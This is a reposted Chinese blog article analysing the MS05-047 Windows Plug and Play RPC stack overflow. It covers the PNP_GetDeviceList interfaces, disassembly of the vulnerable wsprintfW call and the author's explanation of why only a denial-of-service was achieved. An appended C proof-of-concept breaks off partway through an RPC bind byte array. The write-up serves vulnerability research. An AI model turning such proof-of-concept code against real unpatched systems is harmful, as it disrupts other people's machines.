[转载]MS05-047 PNP栈溢出简要分析

文章作者:ppwd
信息来源:
http://bbs.nsfocus.net/index.php?act=ST&f=3&t=168032

该漏洞是微软10月11号公布10个漏洞中的一个,后来eeye公布了该漏洞的比较详细的细节。经过简单的分析,发现该漏洞的利用方式和MS05-039差不多,调用的是同一个RPC接口,只是功能函数不一样,MS05-039调用的是54号调用,而该漏洞则需要调用10或者11号调用。经过分析得到10和11号调用的函数接口如下:
10号调用的函数接口:
DWORD   PNP_GetDeviceList (
    [in] LPCTWSTR   pwszDeviceTypeName,     //设备类型名
    [out] LPWSTR       pwszDeviceList,     //相同类型的所有设备名列表
  [in,out]   DWORD       &lpBufferSize,     //缓冲区大小
    [in]   DWORD     dwFlag           //标志
)
该函数用来枚据系统中某种类型的所有设备名。系统中所有安装的设备都在注册表“HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Enum”下,PNP_GetDeviceList函数就是从该目录下枚举相同类型的所有设备名。如果dwFlag标志为0,则枚据所有的设备名。如果标志为1,则枚举pwszDeviceTypeName指定类型的所有设备名。设备名按顺序依次存放在pwszDeviceList所指向的缓冲区中,最后以一个空字符串结束。设备名的格式为:DeviceTypeName/DeviceName,由于PNP_GetDeviceList函数需要调用wsprintfW函数来构造这种格式的设备名,wsprintfW函数使用的目标缓冲区是在栈中分配的固定大小的缓冲区,而DeviceTypeName是我们自己输入的,如果输入的DeviceTypeName的长度大于目标缓冲区的长度时,将造成栈溢出。
函数调用关系如下:
PNP_GetDeviceList
|___ GetInstanceList
  |____ wsprintfW

.text:76741BFA           lea   eax, [ebp+Name]
.text:76741C00           push   eax
.text:76741C01           push   [ebp+lpSubKey]
.text:76741C04           push   offset aSS     ; LPCWSTR %s/%s
.text:76741C09           lea   eax, [ebp+String]
.text:76741C0F           push   eax         ; LPWSTR
.text:76741C10           call   ds:__imp__wsprintfW

11号函数的调用接口如下:
DWORD PNP_GetDeviceListSize (
    [in] LPCTWSTR   pwszDeviceTypeName,     //设备类型名
    [out] DWORD     &lpDeviceListSize,         //设备名列表的长度
    [in] DWORD     dwFlag             //标志
)
该函数的主要功能就是得到枚举某种设备类型的所有设备名所需要的缓冲区的大小,并将该大小保存在变量lpDeviceListSize中。
虽然知道这两个函数的接口类型,但是要利用这个漏洞执行任意代码还有一定的难度,我现在也没有找到什么好用的方法,只写出了一个DOS的代码。
触发该漏洞的难点在于:所提供的设备类型名必须是注册表中已经存在的类型名,如果不存在,将不会调用函数wsprinfW,也就无法触发该漏洞。虽然可以通过在设备类型名的后面添加多个“/”字符,但是这样只能造成DOS攻击,所以无法将shellcode放置在设备类型名中。并且“HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Enum”下的项是不让随便更改的,所以要完全利用还比较困难。附录中是我编写的一个DOS代码,对所有未打补丁的Win2000有效,其他版本的操作系统没有测试。
在此,特别感谢funnywei博士给我提供的大量的有关RPC的资料,以及在我调试过程中给于我的细心指导和不断鼓励,他永远是我学习的榜样,呵呵。

附录:MS05-047 PNP DOS代码

// PNPExploit2.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")


unsigned char szBindString[] =
{
    0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
    0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
    0x40,0x4e,0x9f,0x8d,0x3d,0xa0,0xce,0x11,0x8f,0x69,0x08,0x00,0x3e,0x30,0x05,0x1b,
    0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值